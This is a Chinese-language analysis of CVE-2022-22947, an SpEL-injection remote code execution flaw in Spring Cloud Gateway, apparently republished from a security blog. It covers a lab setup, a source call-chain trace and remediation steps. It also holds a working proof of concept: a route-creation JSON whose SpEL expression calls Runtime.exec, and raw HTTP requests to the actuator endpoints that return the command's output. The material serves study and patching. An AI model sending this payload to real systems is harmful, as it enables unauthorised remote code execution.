Spring Cloud Gateway CVE-2022-22947 漏洞分析
2022-9-16 09:10:19 Author: 编码安全研究(查看原文) 阅读量:45 收藏

0x00 前言

前段时间 Spring Cloud Gateway 爆出了一个CVE-2022-22947 SpEL表达式注入的命令执行漏洞。

今天通过该漏洞来学习一下SpEL表达式漏洞的挖掘思路。

0x01 漏洞简介

Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。

当Spring Cloud Gateway启用、暴露和不安全Gateway Actuator 端点时,攻击者可以通过向使用 Spring Cloud Gateway 的应用程序发送特制的恶意请求,触发远程任意代码执行。

0x02 漏洞影响

漏洞版本:
  Spring Cloud Gateway < 3.1.1
  Spring Cloud Gateway < 3.0.7
 以及旧的不受支持的版本
 
安全版本:
  Spring Cloud Gateway >= 3.1.1
  Spring Cloud Gateway >= 3.0.7

0x03 Spring Cloud Gateway

参考:

http://c.biancheng.net/springcloud/gateway.html

在漏洞分析之前先简单介绍一下Spring Cloud Gateway,

3.1. 工作流程

流程大概就是:Spring Cloud Gateway 收到客户端请求 -> Gateway Handler Mapping 根据配置的predicate规则来匹配路由 -> Gateway Handler Mapping 调用对应的filter -> 路由前(Pre)的filter对请求进行处理 -> 请求到达实际业务节点 -> 路由后(Post)的filter对响应进行处理 -> 返回给客户端

3.2. 核心部分

Spring Cloud Gateway 的核心主要是以下三个部分:
1. Route(路由)
由id、uri、predicates(列表)和filters(列表)组成

2. Predicate(谓词)
根据请求方式、请求路径、请求头、参数等对请求进行匹配,匹配成功则将请求转发到相应的服务(uri)
注:
一个Route可以包含多个Predicate;
一个请求想要转发到指定的路由上,就必须同时匹配路由上的所有断言;
当一个请求同时满足多个路由的断言条件时,请求只会被首个成功匹配的路由转发。

3. Filter(过滤器)
可以对请求和响应进行拦截和修改

以上是对Spring Cloud Gateway的简单介绍,下面开始进行漏洞分析。

0x04 环境搭建

本次分析用的是3.1.0版本,创建Spring项目,配置如下:

4.1. pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">

    <modelVersion>4.0.0</modelVersion>

    <groupId>org.springcloud.gatway</groupId>
    <artifactId>springcloud.gatway.demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.4</version>
        <relativePath/>
    </parent>

    <properties>
        <java.version>1.8</java.version>
        <spring-cloud.version>2021.0.1</spring-cloud.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter</artifactId>
            <version>3.1.0</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-gateway-server</artifactId>
            <version>3.1.0</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-webflux</artifactId>
            <version>${parent.version}</version>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId>
            <version>${parent.version}</version>
        </dependency>
    </dependencies>
    <dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>org.springframework.cloud</groupId>
                <artifactId>spring-cloud-dependencies</artifactId>
                <version>${spring-cloud.version}</version>
                <type>pom</type>
                <scope>import</scope>
            </dependency>
        </dependencies>
    </dependencyManagement>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

4.2. application.yml

server:
  port: 8808
spring:
  management:
    endpoint:
      gateway:
        enabled: false
  cloud:
    gateway:
      # 开启打印请求包内容
      httpclient:
        wiretap: true
      # 开启打印响应包内容
      httpserver:
        wiretap: true
      routes:
        - id: test
          order: 1
          uri: https://www.baidu.com
          predicates:
            - Query=bd # 只要发送过来的请求后面的参数为bd,则匹配成功跳转到uri(https://www.baidu.com)
        - id: qt # 路由唯一标识,多个id不要重复即可
          order: 0 # 数字越小,优先级越高
          uri: https://www.qingteng.cn # 需要转发的路由地址
          predicates: # 谓词规则的集合,需要全部匹配成功才能转发到uri
            - Path=/wx-product-home.html # 只要发送过来的请求后面的path为/wx-product-home.html,则匹配成功,将path追加到uri后面(https://www.qingteng.cn/wx-product-home.html)
          filters: # 过滤器
            - AddResponseHeader=X-Response-QT, qingteng #添加响应头字段AddResponseHeader,值为X-Response-QT=qingteng 
logging:
  level:
    org.springframework.cloud.gateway: TRACE
    org.springframework.http.server.reactive: DEBUG
    org.springframework.web.reactive: DEBUG
    reactor.ipc.netty: DEBUG
    reactor.netty: DEBUG
management.endpoints.web.exposure.include: '*'

4.3. 路由规则演示

predicates:Query
filters:AddResponseHeader

0x05 漏洞分析

5.1. 源码分析

github直接找到相关commit:
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
代码中用GatewayEvaluationContext替换StandardEvaluationContext 进行漏洞修复,org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue 中调用了Expression对象的getValue方法:
可以看到是个SpEL表达式注入,当entryValue的参数为SpEL表达式时就会调用getValue方法造成命令执行。
那么现在我们的思路就是跟踪参数entryValue,看看它是从哪里传进来的。
开始回溯 org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue 的调用链,getValue方法首先是在ShortcutType#normalize方法中被调用,我们关注的是它的第一个参数args:
ShortcutType#normalize方法在org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中被调用:
这里可以看到,ConfigurableBuilder继承了抽象类AbstractBuilder,并且重写了normalizeProperties方法,它的第一个参数是父类AbstractBuilder中的全局变量properties:
那么看下properties是在哪里初始化的:
可以看到其是由AbstractBuilder类中properties方法传入的参数完成初始化,并且properties方法在org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator类中分别被lookup和loadGatewayFilters方法调用,下断点调试一下这两个方法:
lookup:
properties方法的参数和yml配置里的predicates的值是一样的;loadGatewayFilters:
properties方法的参数和yml配置里的filters的值是一样的。
经过跟踪,最后的调用链如下:
getRoutes
-> convertToRoute
-> combinePredicates
-> lookup
-> getFilters
-> loadGatewayFilters
可以看到最后调用到了RouteLocator的接口方法getRoutes,它的作用是获取路由,提供统一调用。
其中在 org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint 类中调用了getRoutes方法,注解中也出现了对应的路由,并通过id获取指定的路由信息,所以肯定和操作路由有关系。

5.2. 挖掘思路

综合上述的分析,其整个项目工作过程简单总结一下就是:
解析项目中yml配置 -> 将配置里的filters和predicates分别封装成对应的对象 -> 最后将两者转换成路由 -> 获取所有路由信息
现在漏洞利用的思路就有了,如果能够手动创建新路由就可以利用,那么问题来了,如何创建路由呢?
官方文档中有对应的API,接下来我们根据文档来构造POC。

0x06 POC构造

官网文档:https://cloud.spring.io/spring-cloud-gateway/reference/html/#creating-and-deleting-a-particular-route
这些都是对路由操作的API,向路径/actuator/gateway/routes/{id} 用POST请求发送一个json格式的包是创建一个新路由,GET请求是获取指定id的路由信息,DELETE是删除指定id的路由, refresh是刷新路由缓存, 我们想要成功执行SpEL表达式,需要按照下面步骤:

6.1. 创建路由

json格式已经给出,直接构造即可:
{
  "id""nosu",
  "predicates": [
    {
      "name""Path",
      "args": {
        "x""x",
        "y""#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String(\"id\")).getInputStream()),\"utf-8\")}"
      }
    }
  ],
  "uri""http://127.0.0.1",
  "order"0
}
POST /actuator/gateway/routes/fudn HTTP/1.1
Host: 127.0.0.1:8808
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 283

{"id": "fudn", "predicates": [{"name": "Path", "args": {"x": "x", "y": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String(\"id\")).getInputStream()),\"utf-8\")}"}}], "uri": "http://127.0.0.1", "order": 0}

响应码为201,表示路由创建成功。
Tips:
1. 这里是在predicates加入了SpEL表达式,用filters也是一样的,就不重复写了,下同;
2. 这里name的值要注意,要符合predicates的规则,filters同理;
3. 这里执行命令用的是Spring提供的工具类StreamUtils的copyToByteArray方法将Runtime执行命令后的输入流转换为字符串(new String(StreamUtils.copyToByteArray(Runtime.getRuntime().exec("cmd").getInputStream()), "utf-8"))。

6.2. 刷新路由

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8808
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
响应码为200,表示路由刷新成功。

6.3. 获取路由信息

GET /actuator/gateway/routes/fudn HTTP/1.1
Host: 127.0.0.1:8808
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
响应码为200,并且返回了命令执行的结果。

6.4. 删除路由

DELETE /actuator/gateway/routes/fudn HTTP/1.1
Host: 127.0.0.1:8808
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
删除路由并不是必须的,不过还是建议删除,删除完记得刷新一次,只有刷新才会使你的操作生效。

0x07 修复方案

  1. 升级到安全版本
https://github.com/spring-cloud/spring-cloud-gateway/tags
  1. 如果不需要Actuator端点,设置 management.endpoint.gateway.enabled: false 禁用它

0x08 参考

https://tanzu.vmware.com/security/cve-2022-22947
https://cloud.spring.io/spring-cloud-gateway/reference/html
http://c.biancheng.net/springcloud/gateway.html
注:如有侵权请联系删除

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247495631&idx=2&sn=482109308659bee0c02989f6620c8eb5&chksm=ce64bcaaf91335bc32ec96b77feeb0ea71eaecc65fcdff9c320a868a6692502c917be53ef98a#rd
如有侵权请联系:admin#unsafe.sh